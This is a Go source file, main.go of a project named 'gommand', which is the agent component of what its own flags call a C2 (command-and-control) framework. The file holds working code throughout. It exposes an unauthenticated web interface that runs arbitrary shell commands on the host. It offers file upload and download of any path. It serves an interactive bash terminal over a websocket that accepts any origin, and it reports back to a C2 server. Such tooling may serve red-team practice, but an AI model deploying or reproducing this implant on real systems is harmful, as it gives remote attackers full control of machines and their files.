gommand/main.go

696 lines
17 KiB
Go

package main
import (
// "bytes"
// "bufio"
"bytes"
"embed"
"encoding/json"
"flag"
"fmt"
"html/template"
"io"
"log"
"net"
"net/http"
"net/url"
"os"
"os/exec"
"os/user"
"path/filepath"
"regexp"
"strconv"
"strings"
"sync"
"github.com/creack/pty"
"github.com/gorilla/websocket"
"gommand/src/agentconnector"
)
type PageData struct {
CurrentDir string
Hostname string
CurrentUsername string
CommandLog []CommandOutput
}
type CommandOutput struct {
Command string
Output string
Error string
}
// Contains the list of commands, which will be parsed recursively
// through executeCommandTree() and in the end executeCommand()
type CommandNode struct {
Operator string
Left *CommandNode
Right *CommandNode
Command string
}
//go:embed templates/*
var templateFiles embed.FS
//go:embed static/*
var staticFiles embed.FS
var commandLog []CommandOutput
var variables = make(map[string]string)
var tmpl = template.Must(template.ParseFS(templateFiles, "templates/index.html"))
func expandCommandSubstitution(command string, currentDir string) (string, error) {
// Do not expand single quoted strings
reSingleQuotes := regexp.MustCompile(`'([^']*)'`)
singleQuotedStrings := reSingleQuotes.FindAllString(command, -1)
placeholder := "\x00PLACEHOLDER\x00"
command = reSingleQuotes.ReplaceAllLiteralString(command, placeholder)
// Expand variables
reVar := regexp.MustCompile(`\$(\w+)`)
command = reVar.ReplaceAllStringFunc(command, func(match string) string {
varName := match[1:]
if val, exists := variables[varName]; exists {
return val
}
if envVal, exists := os.LookupEnv(varName); exists {
return envVal
}
return match
})
// Restore single-quoted strings and avoid expansion inside them
for _, sq := range singleQuotedStrings {
command = strings.Replace(command, placeholder, sq, 1)
}
// expand $(...) command substitution
re := regexp.MustCompile(`\$\(([^()]+)\)`)
for {
match := re.FindStringSubmatch(command)
if match == nil {
break
}
subCommand := strings.TrimSpace(match[1])
subOutput, err := executeCommandTree(parseCommandTree(subCommand), currentDir)
if err != nil {
return "", err
}
command = strings.Replace(command, match[0], strings.TrimSpace(subOutput), 1)
}
return command, nil
}
func setVariable(command string) bool {
re := regexp.MustCompile(`^(\w+)=(.*)$`)
match := re.FindStringSubmatch(command)
if match == nil {
return false
}
varName := match[1]
value := strings.Trim(match[2], `"`)
if strings.HasPrefix(command, "export ") {
os.Setenv(varName, value)
} else {
variables[varName] = value
}
return true
}
func parseCommandTree(command string) *CommandNode {
if strings.Contains(command, ";") {
parts := strings.SplitN(command, ";", 2)
return &CommandNode{
Operator: ";",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: parseCommandTree(strings.TrimSpace(parts[1])),
}
} else if strings.Contains(command, ">") {
parts := strings.SplitN(command, ">", 2)
return &CommandNode{
Operator: ">",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: &CommandNode{Command: strings.TrimSpace(parts[1])},
}
} else if strings.Contains(command, "<") {
parts := strings.SplitN(command, "<", 2)
return &CommandNode{
Operator: "<",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: &CommandNode{Command: strings.TrimSpace(parts[1])},
}
} else if strings.Contains(command, "|") {
parts := strings.SplitN(command, "|", 2)
return &CommandNode{
Operator: "|",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: parseCommandTree(strings.TrimSpace(parts[1])),
}
} else if strings.Contains(command, "&&") {
parts := strings.SplitN(command, "&&", 2)
return &CommandNode{
Operator: "&&",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: parseCommandTree(strings.TrimSpace(parts[1])),
}
} else if strings.Contains(command, "||") {
parts := strings.SplitN(command, "||", 2)
return &CommandNode{
Operator: "||",
Left: parseCommandTree(strings.TrimSpace(parts[0])),
Right: parseCommandTree(strings.TrimSpace(parts[1])),
}
}
return &CommandNode{Command: command}
}
func executeCommandTree(node *CommandNode, currentDir string) (string, error) {
if node == nil {
return "", nil
}
switch node.Operator {
case "&&":
leftOutput, err := executeCommandTree(node.Left, currentDir)
if err != nil {
return "", err
}
if leftOutput != "" {
return executeCommandTree(node.Right, currentDir)
}
return executeCommandTree(node.Right, currentDir)
// TODO: or operator does not work correctly, fix it
case "||":
leftOutput, err := executeCommandTree(node.Left, currentDir)
if err == nil && leftOutput != "" {
return leftOutput, nil
}
return executeCommandTree(node.Right, currentDir)
case "|":
leftOutput, err := executeCommandTree(node.Left, currentDir)
if err != nil {
return "", err
}
cmdArgs := parseCommandWithQuotes(node.Right.Command)
if len(cmdArgs) == 0 {
return "", fmt.Errorf("Invalid Command")
}
cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
cmd.Dir = currentDir
cmd.Stdin = strings.NewReader(leftOutput)
var outputBuffer bytes.Buffer
cmd.Stdout = &outputBuffer
cmd.Stderr = &outputBuffer
if err := cmd.Run(); err != nil {
return "", err
}
return outputBuffer.String(), nil
case ">":
leftOutput, err := executeCommandTree(node.Left, currentDir)
if err != nil {
return "", err
}
file, err := os.Create(strings.TrimSpace(node.Right.Command))
if err != nil {
return "", err
}
defer file.Close()
_, err = file.WriteString(leftOutput)
return "", err
case "<":
file, err := os.Open(strings.TrimSpace(node.Right.Command))
if err != nil {
return "", err
}
defer file.Close()
cmdArgs := parseCommandWithQuotes(node.Left.Command)
if len(cmdArgs) == 0 {
return "", fmt.Errorf("Invalid command")
}
cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
cmd.Dir = currentDir
cmd.Stdin = file
var outputBuffer bytes.Buffer
cmd.Stdout = &outputBuffer
cmd.Stderr = &outputBuffer
if err := cmd.Run(); err != nil {
return "", err
}
return outputBuffer.String(), nil
case ";":
leftOutput, _ := executeCommandTree(node.Left, currentDir)
rightOutput, _ := executeCommandTree(node.Right, currentDir)
return leftOutput + rightOutput, nil
}
return executeSimpleCommand(node.Command, currentDir).Output, nil
}
func executeCommand(command string, args []string, dir string) (string, error) {
cmd := exec.Command(command, args...)
cmd.Dir = dir
output, err := cmd.CombinedOutput()
return string(output), err
}
func executeSimpleCommand(command string, currentDir string) CommandOutput {
var cmdOutput CommandOutput
// args := strings.Fields(command)
args := parseCommandWithQuotes(command)
if len(args) == 0 {
return cmdOutput
}
cmd := exec.Command(args[0], args[1:]...)
cmd.Dir = currentDir
output, err := cmd.CombinedOutput()
cmdOutput.Command = command
cmdOutput.Output = string(output)
if err != nil {
cmdOutput.Error = err.Error()
}
return cmdOutput
}
func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
var cmdOutput CommandOutput
if len(args) == 0 {
homeDir, _ := os.UserHomeDir()
err := os.Chdir(homeDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command,
Error: "Failed to change to home directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command,
Output: "Changed to home directory: " + homeDir,
}
*currentDir = homeDir
}
} else {
newDir := args[0]
err := os.Chdir(newDir)
if err != nil {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Error: "Failed to change to directory: " + err.Error(),
}
} else {
cmdOutput = CommandOutput {
Command: command + " " + newDir,
Output: "Changed to directory: " + newDir,
}
*currentDir = newDir
}
}
return cmdOutput
}
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
return
}
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "Failed to upload file", http.StatusInternalServerError)
return
}
defer file.Close()
uploadDir := r.FormValue("uploadDir")
if uploadDir == "" {
uploadDir = "./"
}
os.MkdirAll(uploadDir, os.ModePerm)
destPath := filepath.Join(uploadDir, header.Filename)
out, err := os.Create(destPath)
if err != nil {
http.Error(w, "Failed to save file", http.StatusInternalServerError)
return
}
defer out.Close()
_, err = io.Copy(out, file)
if err != nil {
http.Error(w, "Failed to write file", http.StatusInternalServerError)
return
}
w.Write([]byte("File uploaded successfully"))
}
func fileDownloadHandler(w http.ResponseWriter, r *http.Request) {
filePath := r.URL.Query().Get("filePath")
if filePath == ""{
http.Error(w, "Filepath is required", http.StatusBadRequest)
return
}
absPath, err := filepath.Abs(filePath)
if err != nil || !fileExists(absPath) {
http.Error(w, "File not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", "attachement; filename=\""+filepath.Base(absPath)+"\"")
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, absPath)
}
func fileExists(filePath string) bool {
_, err := os.Stat(filePath)
return !os.IsNotExist(err)
}
func processCommand(command string, currentDir string) CommandOutput {
var errorMsg string
// Handle variable assignments before execution
if setVariable(command) {
return CommandOutput{Command: command, Output: "", Error: ""}
}
// This handles command substitution which is $(...) in bash
expandedCommand, err := expandCommandSubstitution(command, currentDir)
if err != nil {
errorMsg = err.Error()
return CommandOutput{Command: command, Output: "", Error: errorMsg}
}
tree := parseCommandTree(expandedCommand)
output, err := executeCommandTree(tree, currentDir)
if err != nil {
errorMsg = err.Error()
}
return CommandOutput{Command: command, Output: output, Error: errorMsg}
}
func parseCommandWithQuotes(command string) []string {
var args []string
var current strings.Builder
inSingleQuote, inDoubleQuote := false, false
for i := 0; i < len(command); i++ {
c := command[i]
switch c {
case '\'':
if !inDoubleQuote {
inSingleQuote = !inSingleQuote
continue
}
case '"':
if !inSingleQuote {
inDoubleQuote = !inDoubleQuote
continue
}
case ' ':
if !inSingleQuote && !inDoubleQuote {
if current.Len() > 0 {
args = append(args, current.String())
current.Reset()
}
continue
}
case '\\':
// Handle escaped characters
if i+1 < len(command) {
next := command[i+1]
if next == '"' || next == '\'' || next == '\\' {
current.WriteByte(next)
i++
continue
}
}
}
current.WriteByte(c)
}
// Add the last argument
if current.Len() > 0 {
args = append(args, current.String())
}
return args
}
func handler(w http.ResponseWriter, r *http.Request) {
currentDir, _ := os.Getwd()
displayDir := filepath.Base(currentDir)
currentUser, _ := user.Current()
currentUsername := currentUser.Username
hostname, _ := os.Hostname()
if r.Method == http.MethodPost {
input := r.FormValue("command")
parts := strings.Fields(input)
if len(parts) > 0 {
command := parts[0]
args := parts[1:]
if command == "cd" {
cmdOutput := changeDirectory(command, args, &currentDir)
displayDir = filepath.Base(currentDir)
commandLog = append(commandLog, cmdOutput)
} else if command == "download" {
if len(args) < 1{
http.Error(w, "Usage: download <filePath>", http.StatusBadRequest)
return
}
http.Redirect(w, r, "/download?filePath="+url.QueryEscape(args[0]), http.StatusFound)
return
} else {
cmdOutput := processCommand(input, currentDir)
commandLog = append(commandLog, cmdOutput)
}
}
}
data := PageData{
CurrentDir: displayDir,
Hostname: hostname,
CurrentUsername: currentUsername,
CommandLog: commandLog,
}
tmpl.Execute(w, data)
}
func ipv4Addr(iface *net.Interface) (string, bool) {
addrs, _ := iface.Addrs()
for _, a := range addrs {
if ip, _, _ := net.ParseCIDR(a.String()); ip.To4() != nil {
return ip.String(), true
}
}
return "", false
}
func autoInterface() string {
ifaces, _ := net.Interfaces()
// Interfaces whose IPv4 we want before anything else, in order.
var preferredPrefixes = []string{"wg", "tun", "tailscale"}
for _, prefix := range preferredPrefixes {
for _, in := range ifaces {
if strings.HasPrefix(in.Name, prefix) && in.Flags&net.FlagUp != 0 {
if ip, ok := ipv4Addr(&in); ok {
return ip
}
}
}
}
for _, in := range ifaces {
if in.Flags&net.FlagLoopback == 0 && in.Flags&net.FlagUp != 0 {
if ip, ok := ipv4Addr(&in); ok {
return ip
}
}
}
return ""
}
func startInteractiveServer(cliInteractivePort, networkInterface string) (string, net.Listener) {
http.HandleFunc("/", handler)
http.HandleFunc("/upload", fileUploadHandler)
http.HandleFunc("/download", fileDownloadHandler)
http.HandleFunc("/terminal", terminalHandler)
http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
var addPort string
var listener net.Listener
var err error
var host string
if networkInterface != "" {
iface, err := net.InterfaceByName(networkInterface)
if err != nil {
log.Fatalf("interface %q not found: %v", networkInterface , err)
}
if ip, ok := ipv4Addr(iface); ok {
host = ip
} else {
log.Fatalf("Interface %q has no IPv4 address", networkInterface)
}
} else {
host = autoInterface()
}
port := cliInteractivePort
if port == "" {
port = "0"
}
listener, err = net.Listen("tcp4", net.JoinHostPort(host, port))
if err != nil {
log.Fatal(err)
}
addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)
return addPort, listener
}
func connectionArgs () (string, string, string) {
var serverAddress string
var serverWebsocketPort string
var interactivePort string
var networkInterface string
flag.StringVar(&serverAddress, "server-address", "127.0.0.1", "IP Address of the C2 server.")
flag.StringVar(&serverWebsocketPort, "server-port", "5555", "Websocket port of the C2 server.")
flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
flag.StringVar(&networkInterface, "network-interface", "", "Network interface to bind to. Will bind to the first non loopback interface if not set. VPN interfaces will be preferred.")
flag.Parse()
log.Println("Server address is at ", serverAddress)
log.Println("Server websocket port is ", serverWebsocketPort)
webSocketAddr := serverAddress + ":" + serverWebsocketPort
return webSocketAddr, interactivePort, networkInterface
}
func main() {
webSocketAddr, cliInteractivePort, networkInterface := connectionArgs()
addPort, listener := startInteractiveServer(cliInteractivePort, networkInterface)
ipv4Addr := listener.Addr().(*net.TCPAddr).IP.String()
log.Printf("You can connect to %s:%d through your browser as well",
ipv4Addr,
listener.Addr().(*net.TCPAddr).Port)
var wg sync.WaitGroup
wg.Add(2)
go func() {
defer wg.Done()
log.Fatal(http.Serve(listener, nil))
}()
go func() {
defer wg.Done()
agentconnector.StartServer(addPort, webSocketAddr, ipv4Addr)
}()
wg.Wait()
}
var upgrader = websocket.Upgrader {
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return true },
}
func terminalHandler (w http.ResponseWriter, r *http.Request) {
ws, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Websocket upgrade error: %v", err)
return
}
defer ws.Close()
cmd := exec.Command("bash")
cmd.Env = append(os.Environ(), "TERM=xterm-256color")
ptmx, err := pty.Start(cmd)
if err != nil {
log.Printf("Error starting PTY: %v", err)
return
}
defer func() { _ = ptmx.Close() }()
go func() {
buf := make([]byte, 1024)
for {
n, err := ptmx.Read(buf)
if err != nil {
break
}
if err := ws.WriteMessage(websocket.BinaryMessage, buf[:n]); err != nil {
break
}
}
}()
for {
_, message, err := ws.ReadMessage()
if err != nil {
break
}
// This is done, so resizing works in the browser, especially resizing the terminal
// Check if the message is binary and starts with control prefix 0xFF.
if len(message) > 0 && message[0] == 0xFF {
var resizeMsg struct {
Type string `json:"type"`
Cols uint16 `json:"cols"`
Rows uint16 `json:"rows"`
}
if err := json.Unmarshal(message[1:], &resizeMsg); err == nil && resizeMsg.Type == "resize" {
err := pty.Setsize(ptmx, &pty.Winsize{
Cols: resizeMsg.Cols,
Rows: resizeMsg.Rows,
X: 0,
Y: 0,
})
if err != nil {
log.Printf("Error resizing PTY: %v", err)
} else {
log.Printf("Resized PTY to cols: %d, rows: %d", resizeMsg.Cols, resizeMsg.Rows)
}
continue // Do not write this message to the PTY.
}
}
// Otherwise, treat it as normal input.
if _, err := ptmx.Write(message); err != nil {
break
}
}
}